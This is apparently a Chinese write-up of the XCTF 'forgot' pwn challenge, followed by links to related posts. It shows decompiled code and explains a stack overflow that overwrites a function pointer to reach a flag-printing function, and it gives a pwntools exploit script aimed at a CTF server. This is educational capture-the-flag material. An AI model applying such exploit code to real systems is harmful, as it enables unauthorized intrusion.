forgot(xctf)
0x0 程序保护和流程
保护:
流程:
main()
int __cdecl main()
{size_t v0; // ebxchar v2[32]; // [esp+10h] [ebp-74h]int (*v3)(); // [esp+30h] [ebp-54h]int (*v4)(); // [esp+34h] [ebp-50h]int (*v5)(); // [esp+38h] [ebp-4Ch]int (*v6)(); // [esp+3Ch] [ebp-48h]int (*v7)(); // [esp+40h] [ebp-44h]int (*v8)(); // [esp+44h] [ebp-40h]int (*v9)(); // [esp+48h] [ebp-3Ch]int (*v10)(); // [esp+4Ch] [ebp-38h]int (*v11)(); // [esp+50h] [ebp-34h]int (*v12)(); // [esp+54h] [ebp-30h]char s; // [esp+58h] [ebp-2Ch]int v14; // [esp+78h] [ebp-Ch]size_t i; // [esp+7Ch] [ebp-8h]v14 = 1;v3 = sub_8048604;v4 = sub_8048618;v5 = sub_804862C;v6 = sub_8048640;v7 = sub_8048654;v8 = sub_8048668;v9 = sub_804867C;v10 = sub_8048690;v11 = sub_80486A4;v12 = sub_80486B8;puts("What is your name?");printf("> ");fflush(stdout);fgets(&s, 32, stdin);sub_80485DD((int)&s);fflush(stdout);printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);fflush(stdout);puts("Enter the string to be validate");printf("> ");fflush(stdout);__isoc99_scanf("%s", v2);for ( i = 0; ; ++i ){v0 = i;if ( v0 >= strlen(v2) )break;switch ( v14 ){case 1:if ( sub_8048702(v2[i]) )v14 = 2;break;case 2:if ( v2[i] == 64 )v14 = 3;break;case 3:if ( sub_804874C(v2[i]) )v14 = 4;break;case 4:if ( v2[i] == 46 )v14 = 5;break;case 5:if ( sub_8048784(v2[i]) )v14 = 6;break;case 6:if ( sub_8048784(v2[i]) )v14 = 7;break;case 7:if ( sub_8048784(v2[i]) )v14 = 8;break;case 8:if ( sub_8048784(v2[i]) )v14 = 9;break;case 9:v14 = 10;break;default:continue;}}(*(&v3 + --v14))();return fflush(stdout);
}
可以发现在main函数的最后出现了**(*(&v3 + --v14))()** 这代表他会执行**&v3 + --v14** 这个地址指向的指令。加上v3可以被scanf函数覆盖。所以只需要将v14控制为1。main函数最后就会执行&v3这个地址指向的指令。如0x80486CC
0x1 利用过程
v14初始值为1,但是程序的switch语句会经过判断改变v14的值。所以我们只需要注意case 1的情况就行了。于是观察sub_8048702()
所以payload=‘A’*32+p32(0x080486CC)就可以完成输出flag。
0x2 exp
from pwn import *
sh=remote('124.126.19.106','52617')
# sh=process('./a')
payload='A'*32+p32(0x080486CC)
sh.sendlineafter('> ','whitehand')
sh.sendlineafter('> ',payload)
sh.interactive()
forgot(xctf)相关推荐
- forgot XCTF(你的疑问都可以在这里找到答案)
基本操作这里就不多说啦 直接进入正题 执行文件呢 会看到是关于有限状态自动机会不会被吓到呢(纳尼!?) 哈哈 其实是吓唬我们的 下面是主程序的关键部分 已知 char v2[32] 那strlen(v ...
- xctf 攻防世界-forgot writeup
根据ida反汇编的结果可以发现有两处溢出点,第一处溢出点没什么作用,只能观察第二处溢出点 可以观察到箭头处是个函数指针,&v3 是v3在栈上的地址,&v3 + --v14 是根据&am ...
- [攻防世界 pwn]——forgot
[攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...
- XCTF联赛“出海计划”开启,八月新加坡站国际赛蓄势待发
作为目前全国最高技术水平和最具影响力的网络安全技术对抗赛事,8月24日-25日,XCTF联赛将联合亚洲地区历史最悠久.影响面最广的安全大会HITBSecConf,在新加坡举办HITB GSEC CTF ...
- 【偶尔一道ctf】xctf adword mobile easy-apk
最近在学习ctf,偶尔会做一些ctf题,打算记录下做题的步骤和思路,打算学习ctf的小白可以跟着一起动手学习.本题是安卓题目. 题目apk下载地址 https://adworld.xctf.org.c ...
- XCTF WEB simple_php
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5072 题解: 掌握php弱类型比较 ...
- XCTF WEB simple_js
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5067 题解: F12查看网页源代码 ...
- XCTF WEB command_execution
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5071 题解: windows或li ...
- XCTF WEB webshell
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070 版本一 题解:修改HTML代 ...
最新文章
- 浅析java内存管理机制
- 2013\National _C_C++_A\1.填算式
- Java Thread pool的学习笔记
- windows中文字体_如何让 Windows 变「好看」?
- 从sqlserver中数据写入mysql_从SQL server数据库导入Mysql数据库的体验
- 微软XAML Studio - WPF, UWP, Xamarin等技术开发者的福音
- rowdata java_Java RowDataUtil.addRowData方法代碼示例
- FABRIC单机开发者模式启动
- android 捕捉home键
- 7-32 中位数 (10 分)
- 【18】Python半成品购物车
- centos6.5解决方案-1
- 第一阶段 PHP基础.函数
- RIP简易配置第二篇
- InfoGAN 生成时序序列
- c语言误差椭圆,平差计算
- List<String> 查找重复记录
- UVA 12307 Smallest Enclosing Rectangle
- yum search htppd 的意思
- 前端实现图片快速反转替换_在canvas上实现元素图片镜像翻转动画效果的方法
热门文章
- 芯片制造中的软力量(下)
- 博通Broadcom SDK源码学习与开发8——内存与参数管理
- 【大数据】五、链接分析(PageRank、Topic-sensetive PageRank)
- r语言归一化_生物信息学之RMA(Robust Multi-Array Average)算法的归一化和最终计算过程...
- 网页html5播放器,一个强大的开源HTML5视频播放器,字节出品
- 安全设备默认地址账密总结
- 智慧社区如何设计 智慧社区解决方案
- js验证银行卡号,并自动识别银行信息。js验证手机码。js验证数字
- html5立体,Html5--立体文字
- python编程圆面积_python如何求圆的面积